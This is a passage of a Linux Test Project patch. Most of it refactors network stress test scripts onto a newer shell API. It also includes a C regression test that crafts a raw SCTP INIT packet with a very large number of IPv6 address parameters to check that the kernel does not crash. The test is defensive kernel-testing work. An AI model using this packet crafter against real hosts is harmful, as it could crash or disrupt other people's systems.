+	tst_res(TINFO, "sctp server listen on %d", port);
+
+	SAFE_LISTEN(sfd, 1);
+
+	srand(port);
+}
+
+static void update_packet_field(size_t *off, void *buf, size_t buf_len)
+{
+	memcpy(packet + *off, buf, buf_len);
+	*off += buf_len;
+}
+
+static void setup_client(void)
+{
+	struct ip6_hdr ip6;
+	const size_t ip6_hdr_len = sizeof(ip6);
+	size_t cmn_hdr_off;
+	size_t off;
+	int i;
+
+	memset(&ip6, 0, sizeof(ip6));
+	ip6.ip6_flow = htonl(6 << 28 | 2 << 20);
+	ip6.ip6_hops = 64;
+	ip6.ip6_nxt = IPPROTO_SCTP;
+	ip6.ip6_src.s6_addr[15] = 1;
+	ip6.ip6_dst.s6_addr[15] = 1;
+	rmt.sin6_family = AF_INET6;
+	rmt.sin6_addr = in6addr_loopback;
+
+	/* SCTP common header */
+	off = ip6_hdr_len;
+
+	uint16_t src_port = htons(port - 1);
+	uint16_t dst_port = htons(port);
+	uint32_t vtag = 0;
+	uint32_t checksum = 0;
+
+	update_packet_field(&off, &src_port, 2);
+	update_packet_field(&off, &dst_port, 2);
+	update_packet_field(&off, &vtag, 4);
+	update_packet_field(&off, &checksum, 4);
+	cmn_hdr_off = off;
+
+	/* SCTP INIT chunk */
+	uint16_t chunk_len;
+
+	packet[off++] = 1;
+	packet[off++] = 0;
+	off += 2; /* chunk length, will be set in the end */
+
+	uint32_t init_tag = rand();
+	uint32_t rwnd = htonl(106496);
+	uint16_t outs = htons(10);
+	uint16_t ins = htons(65535);
+	uint32_t init_tsn = rand();
+
+	update_packet_field(&off, &init_tag, 4);
+	update_packet_field(&off, &rwnd, 4);
+	update_packet_field(&off, &outs, 2);
+	update_packet_field(&off, &ins, 2);
+	update_packet_field(&off, &init_tsn, 4);
+
+	/* SCTP optional parameter for IPv6 addresses */
+	uint16_t param_type = htons(6);
+	uint16_t param_len = htons(20);
+
+	/* IPv6(40) + SCTP_COMMON(12) + SCTP_CHUNK(20) + SCTP_OPT(65460)) */
+	for (i = 0; i < addr_num; ++i) {
+		update_packet_field(&off, &param_type, 2);
+		update_packet_field(&off, &param_len, 2);
+		packet[off + 15] = 1;
+		off += 16;
+	}
+	pkt_len = off;
+
+	tst_res(TINFO, "set chunk length %zu", pkt_len - cmn_hdr_off);
+	chunk_len = htons(pkt_len - cmn_hdr_off);
+	memcpy(packet + cmn_hdr_off + 2, &chunk_len, 2);
+
+	/* set checksum for SCTP: common header + INIT chunk */
+	uint32_t csum = tst_crc32c(packet + ip6_hdr_len, pkt_len - ip6_hdr_len);
+
+	memcpy(packet + ip6_hdr_len + 8, &csum, 4);
+
+	ip6.ip6_plen = htons(pkt_len - ip6_hdr_len);
+	memcpy(packet, &ip6, ip6_hdr_len);
+
+	cfd = SAFE_SOCKET(AF_INET6, SOCK_RAW, IPPROTO_RAW);
+}
+
+static const char mtu_path[] = "/sys/class/net/lo/mtu";
+static const unsigned int max_mtu = 65535;
+static unsigned int mtu;
+
+static void setup(void)
+{
+	if (tst_parse_int(addr_param, &addr_num, 1, INT_MAX))
+		tst_brk(TBROK, "wrong address number '%s'", addr_param);
+
+	/* We don't fragment IPv6 packet here yet, check that MTU is 65535 */
+	SAFE_FILE_SCANF(mtu_path, "%d", &mtu);
+	if (mtu < max_mtu)
+		tst_brk(TCONF, "Test needs that 'lo' MTU has %d", max_mtu);
+
+	setup_server();
+	setup_client();
+}
+
+static void run(void)
+{
+	int pid = SAFE_FORK();
+
+	if (!pid) {
+		struct sockaddr_in6 addr6;
+		socklen_t addr_size = sizeof(addr6);
+
+		if (accept(sfd, (struct sockaddr *)&addr6, &addr_size) < 0)
+			tst_brk(TBROK | TERRNO, "accept() failed");
+		exit(0);
+	}
+
+	SAFE_SENDTO(1, cfd, packet, pkt_len, 0, (struct sockaddr *)&rmt,
+		    sizeof(rmt));
+
+	SAFE_KILL(pid, SIGKILL);
+	SAFE_WAITPID(pid, NULL, 0);
+
+	tst_res(TPASS, "test doesn't cause crash");
+}
+
+static struct tst_option options[] = {
+	{"a:", &addr_param, "-a       number of additional IP address params"},
+	{NULL, NULL, NULL}
+};
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.forks_child = 1,
+	.test_all = run,
+	.options = options
+};
diff --git a/testcases/network/sockets/Makefile b/testcases/network/sockets/Makefile
index 057b353..a7c263a 100644
--- a/testcases/network/sockets/Makefile
+++ b/testcases/network/sockets/Makefile
@@ -24,7 +24,7 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= ltpSockets.sh
+INSTALL_TARGETS		:= *.sh
 
 LDLIBS			+= -lpthread
 
diff --git a/testcases/network/sockets/bind_noport01.sh b/testcases/network/sockets/bind_noport01.sh
new file mode 100755
index 0000000..67b12be
--- /dev/null
+++ b/testcases/network/sockets/bind_noport01.sh
@@ -0,0 +1,21 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates.
+
+TST_TESTFUNC="test"
+TST_MIN_KVER="4.2"
+TST_NEEDS_TMPDIR=1
+TST_TEST_DATA="tcp udp udp_lite dccp"
+
+. tst_net.sh
+
+test()
+{
+	local type="$2"
+
+	tst_res TINFO "test IP_BIND_ADDRESS_NO_PORT with $type socket"
+	# when using '-S' parameter, netstress sets IP_BIND_ADDRESS_NO_PORT
+	tst_netload -T $type -S $(tst_ipaddr) -H $(tst_ipaddr rhost)
+}
+
+tst_run
diff --git a/testcases/network/stress/README b/testcases/network/stress/README
index c0d0ad3..bc51a4c 100644
--- a/testcases/network/stress/README
+++ b/testcases/network/stress/README
@@ -37,45 +37,24 @@
 
 Like the other network tests, the remote host must have the LTP installed
 in the same exact location as the local host have. Please refer the `Detailed
-Installation 6.' section in ltp-yyyymmdd/INSTALL.
+Installation 5.' section in INSTALL.
 
 
 
 Execution
 =========
 
-To run the network stress testcases, networkstress.sh is prepared in
-ltp-yyyymmdd/testscripts directory. Some envrionment variables have to be
-set for the stress testcases. Please fill the environment variable in
-networkstress.sh.
+To run the network stress testcases, use network.sh script, located in
+testscripts directory. For documentation about using network.sh see INSTALL
+and testcases/network/README.md
 
-Like the other network stress tests, the remote host must be setup to allow
-the local host connection using rsh. Please refer the `Detailed
-Installation 6.' section in ltp-yyyymmdd/INSTALL.
+Unfortunately some stress tests still depend on rsh for accessing remote host, even
+you decide to use SSH or network namespaces with network.sh.
 Instead of rsh, you can use ssh to set the environment variable LTP_RSH.
 Please refer the `Environment Variable' section of this document.
 
-Two command lists is prepared in ltp-yyyymmdd/runtest directory.
-
-  network_stress.whole	   : 118 kinds 615 tests
-  network_stress.selected  :  33 kinds 103 tests
-  network_stress.interface :  13 kinds  27 tests
-  network_stress.route     :  12 kinds  22 tests
-  network_stress.broken_ip :  11 kinds  11 tests
-  network_stress.icmp      :   6 kinds  42 tests
-  network_stress.udp       :   8 kinds  56 tests
-  network_stress.tcp       :  22 kinds 308 tests
-  network_stress.multicast :  24 kinds  24 tests
-  network_stress.appl      :  22 kinds  22 tests
-
-Running the tests using network_stress.whole takes about 20 days. Therefore,
-network_stress.selected is prepared. However, it takes 3 days using
-network_stress.selected. If you reduce the time, you should choose the
-testcase and prepare your own command lists. The detail of testcases
-are written in ltp-yyyymmdd/doc/testcases/network_stress.txt.  Or you can
-reduce the time by configuring the test behavior with the environment
-variable (See `Environment Variable' section)
-
+The behaviour of network stress tests is configurable with environment
+variables (See `Environment Variable' section).
 
 
 Attention for HTTP/FTP stress tests
diff --git a/testcases/network/stress/broken_ip/broken_ip4-checksum b/testcases/network/stress/broken_ip/broken_ip4-checksum
index ff30fbf..53c6868 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-checksum
+++ b/testcases/network/stress/broken_ip/broken_ip4-checksum
@@ -21,7 +21,8 @@
 TCID=broken_ip4-checksum01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong chksum field for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip4-dstaddr b/testcases/network/stress/broken_ip/broken_ip4-dstaddr
index eb236f2..b940d76 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-dstaddr
+++ b/testcases/network/stress/broken_ip/broken_ip4-dstaddr
@@ -21,7 +21,8 @@
 TCID=broken_ip4-dstaddr01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong dst address for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip4-fragment b/testcases/network/stress/broken_ip/broken_ip4-fragment
index 8f2aca9..e5d90b4 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-fragment
+++ b/testcases/network/stress/broken_ip/broken_ip4-fragment
@@ -21,7 +21,8 @@
 TCID=broken_ip4-fragment01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong frag. info for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip4-ihl b/testcases/network/stress/broken_ip/broken_ip4-ihl
index 2e136a5..de83245 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-ihl
+++ b/testcases/network/stress/broken_ip/broken_ip4-ihl
@@ -21,7 +21,8 @@
 TCID=broken_ip4-ihl01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong header len field for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip4-protcol b/testcases/network/stress/broken_ip/broken_ip4-protcol
index a57ce61..0fee793 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-protcol
+++ b/testcases/network/stress/broken_ip/broken_ip4-protcol
@@ -21,7 +21,8 @@
 TCID=broken_ip4-protocol01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong proto field for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip4-totlen b/testcases/network/stress/broken_ip/broken_ip4-totlen
index 4466487..cd5f311 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-totlen
+++ b/testcases/network/stress/broken_ip/broken_ip4-totlen
@@ -21,7 +21,8 @@
 TCID=broken_ip4-totlen01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong total len field for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip4-version b/testcases/network/stress/broken_ip/broken_ip4-version
index 83cf568..a5e30b4 100644
--- a/testcases/network/stress/broken_ip/broken_ip4-version
+++ b/testcases/network/stress/broken_ip/broken_ip4-version
@@ -21,7 +21,8 @@
 TCID=broken_ip4-version01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong version field for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip6-dstaddr b/testcases/network/stress/broken_ip/broken_ip6-dstaddr
index ea7d66d..69e993c 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-dstaddr
+++ b/testcases/network/stress/broken_ip/broken_ip6-dstaddr
@@ -21,7 +21,8 @@
 TCID=broken_ip6-dstaddr01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv6 with wrong dst address for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip6-nexthdr b/testcases/network/stress/broken_ip/broken_ip6-nexthdr
index ebbef5e..2510fd2 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-nexthdr
+++ b/testcases/network/stress/broken_ip/broken_ip6-nexthdr
@@ -21,7 +21,8 @@
 TCID=broken_ip6-nexthdr01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong next header for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip6-plen b/testcases/network/stress/broken_ip/broken_ip6-plen
index e93cdcc..960902b 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-plen
+++ b/testcases/network/stress/broken_ip/broken_ip6-plen
@@ -21,7 +21,8 @@
 TCID=broken_ip6-plen01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv4 with wrong payload len for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/broken_ip/broken_ip6-version b/testcases/network/stress/broken_ip/broken_ip6-version
index 3eff2d7..b189ba1 100644
--- a/testcases/network/stress/broken_ip/broken_ip6-version
+++ b/testcases/network/stress/broken_ip/broken_ip6-version
@@ -21,7 +21,8 @@
 TCID=broken_ip6-version01
 TST_TOTAL=1
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 tst_resm TINFO "Sending ICMPv6 with wrong version field for $NS_DURATION sec"
 
diff --git a/testcases/network/stress/dccp/dccp_ipsec.sh b/testcases/network/stress/dccp/dccp_ipsec.sh
index 6c39fa3..ef80bf9 100755
--- a/testcases/network/stress/dccp/dccp_ipsec.sh
+++ b/testcases/network/stress/dccp/dccp_ipsec.sh
@@ -1,47 +1,18 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=dccp_ipsec
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_TESTFUNC=do_test
+TST_SETUP=tst_ipsec_setup
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
-do_setup()
-{
-	# Configure SAD/SPD
-	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
-		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
-		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
-	fi
-}
-
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $(tst_ipaddr rhost) -T dccp -n $p -N $p \
-			-r $IPSEC_REQUESTS
-	done
+	tst_netload -H $(tst_ipaddr rhost) -T dccp -n $2 -N $2 -r $IPSEC_REQUESTS
 }
 
-do_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/dccp/dccp_ipsec_vti.sh b/testcases/network/stress/dccp/dccp_ipsec_vti.sh
index 878f88c..ee2b0d4 100755
--- a/testcases/network/stress/dccp/dccp_ipsec_vti.sh
+++ b/testcases/network/stress/dccp/dccp_ipsec_vti.sh
@@ -1,38 +1,18 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=dccp_ipsec_vti
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_TESTFUNC=do_test
+TST_SETUP=tst_ipsec_setup_vti
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $ip_rmt_tun -T dccp -n $p -N $p \
-			-r $IPSEC_REQUESTS
-	done
+	tst_netload -H $ip_rmt_tun -T dccp -n $2 -N $2 -r $IPSEC_REQUESTS
 }
 
-tst_ipsec_setup_vti
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/dns/dns-stress b/testcases/network/stress/dns/dns-stress
index 06b4709..5817681 100755
--- a/testcases/network/stress/dns/dns-stress
+++ b/testcases/network/stress/dns/dns-stress
@@ -22,7 +22,8 @@
 TST_TOTAL=2
 TST_CLEANUP="cleanup"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 # Minimum host ID in the zone file.
 # The ID is used as the host portion of the address
@@ -42,9 +43,7 @@
 common_setup()
 {
 	tst_require_root
-	tst_check_cmds named dig
-
-	ipver=${TST_IPV6:-'4'}
+	tst_test_cmds named dig
 
 	if [ "$TST_IPV6" ]; then
 		record="AAAA"
@@ -164,10 +163,10 @@
 	chmod 770 .
 	chmod 660 ./*
 
-	port=$(tst_get_unused_port ipv${ipver} dgram)
+	port=$(tst_get_unused_port ipv${TST_IPVER} dgram)
 
 	tst_resm TINFO "Start named daemon, port $port"
-	named -$ipver -c named.conf -p $port || \
+	named -$TST_IPVER -c named.conf -p $port || \
 		tst_brkm TBROK "Failed to run named daemon"
 
 	# Make sure named.pid is created.
@@ -181,7 +180,7 @@
 {
 	tst_resm TINFO "Handling name lookup queries '$NS_TIMES' times"
 
-	tst_rhost_run -s -c "dns-stress01-rmt $ipver $(tst_ipaddr) $port \
+	tst_rhost_run -s -c "dns-stress01-rmt $TST_IPVER $(tst_ipaddr) $port \
 		$DOMAIN $MIN_ID $MAX_ID $NS_TIMES"
 
 	tst_resm TPASS "Test is finished successfully"
@@ -191,7 +190,7 @@
 {
 	tst_resm TINFO "Handling reverse lookup queries '$NS_TIMES' times"
 
-	tst_rhost_run -s -c "dns-stress02-rmt $ipver $(tst_ipaddr) $port $net \
+	tst_rhost_run -s -c "dns-stress02-rmt $TST_IPVER $(tst_ipaddr) $port $net \
 		$MIN_ID $MAX_ID $NS_TIMES"
 
 	tst_resm TPASS "Test is finished successfully"
@@ -199,7 +198,7 @@
 
 common_setup
 
-setup_$ipver
+setup_$TST_IPVER
 
 start_named
 
diff --git a/testcases/network/stress/ftp/ftp-download-stress b/testcases/network/stress/ftp/ftp-download-stress
index e1f3a8c..5ba67cf 100644
--- a/testcases/network/stress/ftp/ftp-download-stress
+++ b/testcases/network/stress/ftp/ftp-download-stress
@@ -23,7 +23,8 @@
 TST_TOTAL=2
 TST_CLEANUP="cleanup"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 # Big file size to upload/download in ftp tests (byte)
 DOWNLOAD_BIGFILESIZE=${DOWNLOAD_BIGFILESIZE:-2147483647}
@@ -41,11 +42,10 @@
 setup()
 {
 	tst_require_root
-	tst_check_cmds pkill vsftpd
+	tst_test_cmds pkill vsftpd
 	tst_tmpdir
 
-	ipver=${TST_IPV6:-'4'}
-	tst_resm TINFO "run FTP over IPv$ipver"
+	tst_resm TINFO "run FTP over IPv$TST_IPVER"
 
 	trap "tst_brkm TBROK 'test interrupted'" INT
 
diff --git a/testcases/network/stress/ftp/ftp-download-stress01-rmt b/testcases/network/stress/ftp/ftp-download-stress01-rmt
index 83cfc4a..a87f2ac 100644
--- a/testcases/network/stress/ftp/ftp-download-stress01-rmt
+++ b/testcases/network/stress/ftp/ftp-download-stress01-rmt
@@ -28,7 +28,7 @@
 filename="$2"
 filesize="$3"
 
-tst_check_cmds curl
+tst_test_cmds curl
 
 echo $server_ipaddr | grep ':' > /dev/null
 if [ $? -eq 0 ]; then
diff --git a/testcases/network/stress/ftp/ftp-download-stress02-rmt b/testcases/network/stress/ftp/ftp-download-stress02-rmt
index 7ed2473..95a8a41 100644
--- a/testcases/network/stress/ftp/ftp-download-stress02-rmt
+++ b/testcases/network/stress/ftp/ftp-download-stress02-rmt
@@ -24,7 +24,7 @@
 
 . test.sh
 
-tst_check_cmds awk killall
+tst_test_cmds awk killall
 
 server_ipaddr="$1"
 filename="$2"
diff --git a/testcases/network/stress/ftp/ftp-upload-stress b/testcases/network/stress/ftp/ftp-upload-stress
index c8c64be..637df2d 100644
--- a/testcases/network/stress/ftp/ftp-upload-stress
+++ b/testcases/network/stress/ftp/ftp-upload-stress
@@ -23,7 +23,8 @@
 TST_TOTAL=2
 TST_CLEANUP="cleanup"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 # Big file size to upload (byte)
 UPLOAD_BIGFILESIZE=${UPLOAD_BIGFILESIZE:-2147483647}  # 2GB - 1
@@ -41,11 +42,10 @@
 setup()
 {
 	tst_require_root
-	tst_check_cmds pkill vsftpd
+	tst_test_cmds pkill vsftpd
 	tst_tmpdir
 
-	ipver=${TST_IPV6:-'4'}
-	tst_resm TINFO "run FTP over IPv$ipver"
+	tst_resm TINFO "run FTP over IPv$TST_IPVER"
 
 	trap "tst_brkm TBROK 'test interrupted'" INT
 
@@ -57,7 +57,7 @@
 	getenforce 2> /dev/null | grep -q Enforcing
 	if [ $? -eq 0 ]; then
 		tst_resm TINFO "configuring SELinux FTP parameters"
-		tst_check_cmds chcon setsebool
+		tst_test_cmds chcon setsebool
 		setsebool allow_ftpd_anon_write 1 || \
 			tst_brkm TBROK "Failed to allow ftpd anonymous write"
 		chcon -R -t public_content_rw_t $FTP_UPLOAD_DIR || \
diff --git a/testcases/network/stress/ftp/ftp-upload-stress01-rmt b/testcases/network/stress/ftp/ftp-upload-stress01-rmt
index 25fa6f8..0042f09 100644
--- a/testcases/network/stress/ftp/ftp-upload-stress01-rmt
+++ b/testcases/network/stress/ftp/ftp-upload-stress01-rmt
@@ -30,7 +30,7 @@
 filename="$3"
 filesize="$4"
 
-tst_check_cmds curl
+tst_test_cmds curl
 
 cleanup()
 {
diff --git a/testcases/network/stress/ftp/ftp-upload-stress02-rmt b/testcases/network/stress/ftp/ftp-upload-stress02-rmt
index bca1c3e..d266fb2 100644
--- a/testcases/network/stress/ftp/ftp-upload-stress02-rmt
+++ b/testcases/network/stress/ftp/ftp-upload-stress02-rmt
@@ -25,7 +25,7 @@
 
 . test.sh
 
-tst_check_cmds killall
+tst_test_cmds killall
 
 server_ipaddr="$1"
 urldir="$2"
diff --git a/testcases/network/stress/http/http-stress b/testcases/network/stress/http/http-stress
index db18237..ff617a2 100644
--- a/testcases/network/stress/http/http-stress
+++ b/testcases/network/stress/http/http-stress
@@ -23,7 +23,8 @@
 TST_TOTAL=2
 TST_CLEANUP="cleanup"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 cleanup()
 {
@@ -34,8 +35,7 @@
 {
 	tst_require_root
 
-	ipver=${TST_IPV6:-'4'}
-	tst_resm TINFO "run over IPv$ipver"
+	tst_resm TINFO "run over IPv$TST_IPVER"
 
 	trap "tst_brkm TBROK 'test interrupted'" INT
 
diff --git a/testcases/network/stress/http/http-stress01-rmt b/testcases/network/stress/http/http-stress01-rmt
index 7b164e5..69abcf0 100644
--- a/testcases/network/stress/http/http-stress01-rmt
+++ b/testcases/network/stress/http/http-stress01-rmt
@@ -24,7 +24,7 @@
 
 . test.sh
 
-tst_check_cmds awk curl
+tst_test_cmds awk curl
 
 # Check the arguments
 [ $# -ne 3 ] && tst_brkm TBROK "Usage: $0 server_ipaddr filename filesize"
diff --git a/testcases/network/stress/http/http-stress02-rmt b/testcases/network/stress/http/http-stress02-rmt
index 3ba466c..52efc92 100644
--- a/testcases/network/stress/http/http-stress02-rmt
+++ b/testcases/network/stress/http/http-stress02-rmt
@@ -24,7 +24,7 @@
 
 . test.sh
 
-tst_check_cmds awk curl
+tst_test_cmds awk curl
 
 if [ $# -ne 5 ]; then
 	tst_brkm TBROK "Usage: $0 server_addr fname fsize duration connections"
diff --git a/testcases/network/stress/icmp/icmp-uni-basic.sh b/testcases/network/stress/icmp/icmp-uni-basic.sh
index 78017ee..5980b81 100755
--- a/testcases/network/stress/icmp/icmp-uni-basic.sh
+++ b/testcases/network/stress/icmp/icmp-uni-basic.sh
@@ -1,62 +1,25 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016 Red Hat Inc.,  All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2005
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Hangbin Liu <haliu@redhat.com>
-#
-################################################################################
-TCID=${TCID:-icmp-uni-basic}
-TST_TOTAL=1
-TST_COUNT=1
-TST_CLEANUP="tst_ipsec_cleanup"
 
+TST_TESTFUNC=do_test
+TST_SETUP=do_setup
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
-LINK_NUM=${LINK_NUM:-0}
-DO_IPSEC=${DO_IPSEC:-false}
-[ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ] && DO_IPSEC=true || DO_IPSEC=false
+do_setup()
+{
+	tst_ipsec_setup
+	PING_MAX="$IPSEC_REQUESTS"
+	tst_res TINFO "Sending ICMP messages"
+}
 
-# Test description
-tst_resm TINFO "Sending ICMP messages with the following conditions"
-tst_resm TINFO "- Version of IP is IPv${TST_IPV6:-4}"
-tst_resm TINFO "- Size of packets are ( $IPSEC_SIZE_ARRAY )"
+do_test()
+{
+	tst_ping $(tst_iface) $(tst_ipaddr rhost) $2
+}
 
-if $DO_IPSEC; then
-	case $IPSEC_PROTO in
-	ah)	tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" ;;
-	esp)	tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" ;;
-	comp)	tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" ;;
-	esac
-fi
-
-# name of interface of the local/remote host
-lhost_ifname=$(tst_iface lhost $LINK_NUM)
-rhost_ifname=$(tst_iface rhost $LINK_NUM)
-
-lhost_addr=$(tst_ipaddr)
-rhost_addr=$(tst_ipaddr rhost)
-
-# Configure SAD/SPD
-if $DO_IPSEC ; then
-	tst_ipsec lhost $lhost_addr $rhost_addr
-	tst_ipsec rhost $rhost_addr $lhost_addr
-fi
-
-PING_MAX="$IPSEC_REQUESTS"
-
-tst_ping $lhost_ifname $rhost_addr $IPSEC_SIZE_ARRAY
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/icmp/icmp-uni-vti.sh b/testcases/network/stress/icmp/icmp-uni-vti.sh
index 7fa211d..24eca17 100755
--- a/testcases/network/stress/icmp/icmp-uni-vti.sh
+++ b/testcases/network/stress/icmp/icmp-uni-vti.sh
@@ -1,37 +1,24 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=icmp-uni-vti
-TST_TOTAL=1
-TST_CLEANUP="tst_ipsec_cleanup"
-
+TST_TESTFUNC=do_test
+TST_SETUP=do_setup
+TST_CLEANUP=tst_ipsec_cleanup
 . ipsec_lib.sh
 
+do_setup()
+{
+	tst_ipsec_setup_vti
+	PING_MAX="$IPSEC_REQUESTS"
+	tst_res TINFO "Sending ICMP messages"
+}
+
 do_test()
 {
-	PING_MAX="$IPSEC_REQUESTS"
-
-	tst_resm TINFO "Sending ICMP messages..."
-	tst_ping $tst_vti $ip_rmt_tun $IPSEC_SIZE_ARRAY
+	tst_ping $tst_vti $ip_rmt_tun $2
 }
 
-tst_ipsec_setup_vti
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01 b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01
index fe70f00..d987788 100644
--- a/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01
+++ b/testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01
@@ -33,7 +33,7 @@
 #   *) This script may be read by the other test case
 #
